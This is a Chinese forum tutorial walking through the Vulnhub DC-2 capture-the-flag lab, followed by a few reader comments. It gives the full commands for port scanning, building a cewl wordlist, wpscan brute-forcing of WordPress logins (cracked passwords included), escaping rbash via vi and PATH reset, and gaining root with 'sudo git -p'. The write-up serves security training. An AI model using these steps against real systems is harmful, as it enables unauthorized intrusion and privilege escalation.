首页
社区
课程
招聘
[原创]小蜘蛛带你一起学习DC-2
发表于: 2020-12-17 13:45 11516

[原创]小蜘蛛带你一起学习DC-2

2020-12-17 13:45
11516

Vunlnhub靶机DC-2

 

*注:请严格遵守网络安全法,本文章以培养网络安全人才为核心。

 

目录
DC-2 靶机实战(DC-)

DC-2 靶机

DC-2靶机共有5个flag

信息收集

Step1:发现IP

1
arp-scan -l

在这里插入图片描述

  • [ ] 由此我们可以看到我们的靶机IP为192.168.195.133

检测开放的端口和服务

masscan进行检测

1
masscan -p 1-65535 192.168.195.133 --rate=10000

在这里插入图片描述

nmap进行精细扫描

1
nmap -p 80,7744 -sV -A -O 192.168.195.133

在这里插入图片描述

我们可以看到他的80端口开启了,并且把22端口伪装成了7744

访问url !无法连接服务器 找不到 ?
在这里插入图片描述其实官方站点也提到了这个问题:

1
need to set the hosts file       #需要设置主机文件

hosts 文件

作用:主机名到IP地址的映射

​ 其优先级比DNS要高

1
2
3
4
5
6
7
8
[问题]名称解析 hosts
解决: notepad c:\windows\system32\drivers\etc\hosts
 
​            Linux主机:/etc/hosts
 
添加主机名到IP地址的映射
 
192.168.195.133    dc-2

在这里插入图片描述设置完成后我们就可以访问了
在这里插入图片描述

  • [ ] 向下翻滚我们可以看到flag1
    在这里插入图片描述
  • [ ] 线索:复用cewl制作口令字典

工具 cewl

cewl 是一个 Ruby应用程序,给定URL,可以生成用于密码破解的口令字典

CeWL 是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。

1
2
3
4
5
6
7
8
9
cewl http://dc-2 -w dc-2.txt
-w 写入到文件
wc -l dc-2.txt        #统计单词数量list
 
选项:
cewl http://dc-2 -m 9                 #生成至少为9的密码
cewl http://dc-2 -n -e                 #从网站中获取Email -e
cewl http://dc-2 -c                 #计算机网站字典中重复的单词数量    -c
cewl http://dc-2 -d 3                 #增加爬虫的爬取深度以生成更大的字典文件 -d

在这里插入图片描述

工具 wpscan

利用wpscan工具去扫描blog站点

1
2
wpscan --url http://dc-2/ -e u
--enumerate u 枚举用户

保存用户信息

1
cat >> dc-2-user.txt << EOF

在这里插入图片描述

对HTTP用户进行暴力破解

结合cewl工具生成的字典文件进行爆破

1
wpscan --url http://dc-2 -P dc-2.txt     #-P 指定字典文件

在这里插入图片描述获取到的账号密码

1
2
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

对站点进行扫描:

web站点目录扫描

工具 nikto

方法一:

 

使用nikto对站点进行遍历扫描,找到登录入口

1
nikto -host http://dc-2

登录网站用户

在这里插入图片描述登录成功
在这里插入图片描述

  • [ ] 输入用户与密码

后台登录jerry发现了flag2

在这里插入图片描述

  • 紧跟着提示我们可以看到它告诉我们不要总想着尝试漏洞利用

    那我们之前看到除了80端口,它对22端口伪装成了7744

    此地无银三百两?

利用破解的账号尝试登录系统

PS:有时候一些程序可能就是系统用户

尝试使用拿到的用户口令SSH登录

1
2
ssh -p 7744 jerry@192.168.195.133
ssh -p 7744 tom@192.168.195.133         #tom登录成功

在这里插入图片描述

  • [ ] 我们cd一下,为什么不能看?
    在这里插入图片描述

    进入后我们查找flag发现很多命令不能用这是什么原因呢?

rbash 限制

什么是rbash?

  • 受限shell是Linux xShell 限制一些bash
    shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell
    提供了一个额外的安全层。

查看化境变量

1
echo $PATH #查看环境变量

在这里插入图片描述

查看文件位置

1
2
ls /home/tom/usr/bin            #ls路径搜索变量
less ls scp vi                    #声明文件
  • [ ] 我们看到了PATH声明文件

    1
    那么我们可以使用 vi 编辑器查看flag 3 啊!

在这里插入图片描述
可以看到tom总是在追jerry,或许他应该做些补偿 它建议我们使用su,但是我们现在不能使用su

  • [ ] 这是什么意思?

    1
    2
    3
    我们可以知道我们现在有tom和jerry两个用户
     
    我们现在登陆的是tom,tom总是在追jerry,做些补偿,我们可以su切换进入jerry用户里面试试
  • [ ] 首先要解决的就是rbash逃逸问题
    在这里插入图片描述
    已知的是有rbash限制,我们没有办法切换用户

轻松rbash限制理解

  • [ ] 我们来带大家理解一下!/bin/bash

先创建一个文件
在这里插入图片描述
用vi我们看一下
在这里插入图片描述

 

: ! /bin/sh ! 为特殊标识符,其后面跟的是解释此脚本的shell路径,如果没有声明,则脚本将在默认的shell中执行,默认shell是由用户所在的系统定义为执行shll脚本。
在这里插入图片描述
回车我们就进入到了指定的shell中,甚至还可以进行创建文件夹
在这里插入图片描述

  • 方法:利用系统常见应用逃逸

    (1)ftp

    (2)more //分页查看

    (3)less //分页查看

    (4)man //查看帮助

    (5)vi

    (6)vim

  • [ ] step0:vi打开这个flag

以上在输入的地方输入!/bin/sh 通过特殊标识符!执行该脚本,以获取一个交互shell
在这里插入图片描述设置完成回车,期待满满
在这里插入图片描述

什么?他不要你在命令中指定/

扎心了!

  • [ ] 那么我们还有什么方法?
1
2
3
:set shell=/bin/sh  #通过set方式设置一个变量,把shell赋值给这个变量
 
:shell

在这里插入图片描述

  • [ ] 敲一下回车再输入:shell
    在这里插入图片描述
  • [ ] 然后我们就获得了一个交互shell
    在这里插入图片描述
    在这里插入图片描述

这时候就有同学问:为什么还是不能使用一些常用的一些指令呢?

和刚刚的报错提示不一样,这次他告诉我们命令没有找到。

 

我们查看$PATH环境变量得知他的路径搜索变量
在这里插入图片描述
比rbash更容易遇到的问题是当前命令执行路径异常问题(我们可以发现不用于rbash,执行这个命令,我们可以夹反斜杠,没有了限制)
在这里插入图片描述

  • [ ] 使用这种方法我们得以解决,这样去做我们就能判断是路径问题造成的。(命令的执行路径问题)

    1
    这只能说明一个问题与$PATH变量有关
1
echo $PATH ###一般很多基础命令执行不了的时候,都是路径异常,查看该值可验证PATH--路径搜索变量

export把变量输出为全局环境变量
怎样它的环境变量呢?(为了export填写路径搜索变量)

 

只需要看一下我们kali自身的变量复制过去就行了

 

查看我们kali自身的路径搜索变量
在这里插入图片描述
复制过去即可

对变量重新赋值

  • 原因:可能是PATH变量的问题

    解决:重新对PATH变量赋值

1
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  • [ ] 再次对$PATH变量进行查看
    在这里插入图片描述

    我们就发现变量已经更改
    在这里插入图片描述
    这时我们发现命令都可以执行了。

现在我们就可以根据提示su 进入 jerry 用户

su进入jerry用户

在这里插入图片描述

1
输入密码:adipiscing

在这里插入图片描述

进入后我们看到我ls想查找flag,它居然说我没有权限???

我们看看能不能使用cd,命令(进入jerry这个用户里面看看)
在这里插入图片描述

1
2
3
cd /home/jerry          #进入jerry用户
ls
cat flag4.txt             #查看flag4提示信息

在这里插入图片描述
他让我们继续走!Go! 离开这里!

查看sudo使用权限

1
2
sudo -l
-l 显示出自己(执行 sudo 的使用者)的权限

在这里插入图片描述拥有/usr/bin/git权限,就可以进行sudo git -p这样去执行

  • [ ] 根据flag4的提示,git工具是我们拿到最后一个flag的突破点
1
2
3
git 的帮助信息中有一个-p | --paginate 选项
 
​        这个-p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来今昔展示

git提权

1
2
sudo git -p   #sudo切换到管理员权限,get -p以more命令显示git的帮助信息。
:!/bin/bash   #强制执行并调用bash界面,获取交互shell

在这里插入图片描述

1
whoami 查看当前登录用户

在这里插入图片描述
提权成功!

 

cd /root/ 进入/root/目录查找flag
在这里插入图片描述

扩展:(基础知识)详解

DNS 解析顺序

DNS缓存>hosts>DNS服务器

1
2
3
ipconfig /displaydns   #查询DNS缓存
 
ipconfig /flushdns      #清楚,刷新DNS缓存

HTTP状态码

每条HTTP响应报文返回时都会携带一个状态码。状态码时一个三位数字的代码,告知客户端请求是否成功,或者是否需要采取其他动作

 

在这里插入图片描述

PATH环境变量详解

​ path(环境变量)是dos以前的内部命令,windows继续沿用至今。用作运行某个命令的时候,本地查找不到某个命令或文件,会到这个声明的目录中去查找。
一般设定java的时候为了在任何目录下都可以运行bin文件夹下的命令。就将java的bin目录声明到path中。
​ 在dos下运行path命令就可以设定或查看。在windows中要在系统设置中设定。

 

​ $PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接。

1
2
3
4
添加PATH环境变量
export PATH=路径:$PATH
 
 查看命令:echo $PATH, 可判断是否添加PATH成功。

路径搜索变量

git详解

​ git命令是用来管理文件的程序,它十分类似DOS下的Norton Commander,具有互动式操作界面。

 

​ Git 可以使用四种主要的协议来传输资料:本地协议(Local),HTTP 协议,SSH(Secure Shell)协议及 Git 协议

 

git(读音为/git/)是一个开源的分布式版本控制系统,可以有效,高速的处理从很小到非常大的项目版本管理。git是Linus Torvalds 为了帮助管理 Linux 内核开发的一个开放源码的版本控制软件。

1
2
3
git 的帮助信息中有一个 -p | --paginate 选项
 
​    这个-p的意思就是以分页的形式

rbash 限制详解

受限shell是Linux xShell 限制一些bash shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell 提供了一个额外的安全层。

1
2
3
4
5
6
不能使用cd命令(意味着不能更改目录)
不能设置或取消环境变量:SHELL PATH ENV BASH_ENV
导入功能受限
指定包含参数‘/’或‘-’的文件名(即命名不能包含‘/’或‘-’)
不能使用 >, >|, <>, >&, >> 等重定向操作符
不能使用‘set + r’ 或 ‘set + o’ 关闭

​ ·


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-12-22 17:50 被安全小蜘蛛编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
现在我进行这个靶机的训练,跟随大佬的脚步前进。希望持续更新
2021-2-18 15:38
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
wasdzjh 现在我进行这个靶机的训练,跟随大佬的脚步前进。希望持续更新

会更新的兄弟,不过大佬不敢当

最后于 2021-2-25 20:43 被安全小蜘蛛编辑 ,原因:
2021-2-20 13:21
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
wasdzjh 现在我进行这个靶机的训练,跟随大佬的脚步前进。希望持续更新
刚刚解开了两个靶机,已整理出教程,有什么不清楚的地方可以私聊,感谢大哥的夸奖
2021-2-20 13:30
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我就是好奇flag3.txt,这个你在哪里找到的,毫无征兆就出现了,我都懵了
2022-10-18 23:05
0
游客
登录 | 注册 方可回帖
返回
//